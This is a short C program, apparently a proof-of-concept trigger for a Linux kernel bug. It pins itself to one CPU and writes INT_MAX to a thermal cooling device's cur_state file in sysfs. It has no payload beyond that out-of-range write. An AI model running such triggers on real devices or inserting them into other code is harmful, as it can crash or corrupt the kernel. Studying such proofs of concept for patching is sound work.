| #define _GNU_SOURCE |
| |
| #include <string.h> |
| #include <errno.h> |
| #include <fcntl.h> |
| #include <linux/futex.h> |
| #include <pthread.h> |
| #include <sched.h> |
| #include <signal.h> |
| #include <stdio.h> |
| #include <stdlib.h> |
| #include <sys/ioctl.h> |
| #include <sys/mman.h> |
| #include <sys/stat.h> |
| #include <sys/syscall.h> |
| #include <sys/time.h> |
| #include <sys/types.h> |
| #include <unistd.h> |
| |
| #define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__) |
| #define ERR(fmt, ...) \ |
| printf(fmt ": %d(%s)\n", ##__VA_ARGS__, errno, strerror(errno)) |
| #define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0])) |
| |
| static int set_affinity(int num) { |
| int ret = 0; |
| cpu_set_t mask; |
| CPU_ZERO(&mask); |
| CPU_SET(num, &mask); |
| ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask); |
| return ret; |
| } |
| |
| #define TARGET "/sys/devices/virtual/thermal/cooling_device2/cur_state" |
| int main(int argc, char *argv[]) { |
| int i, ret, fd; |
| char buf[PAGE_SIZE] = "2147483647"; |
| |
| /* bind_cpu */ |
| set_affinity(0); |
| |
| fd = open(TARGET, O_RDWR); |
| |
| ret = write(fd, buf, strlen(buf)); |
| close(fd); |
| return 0; |
| } |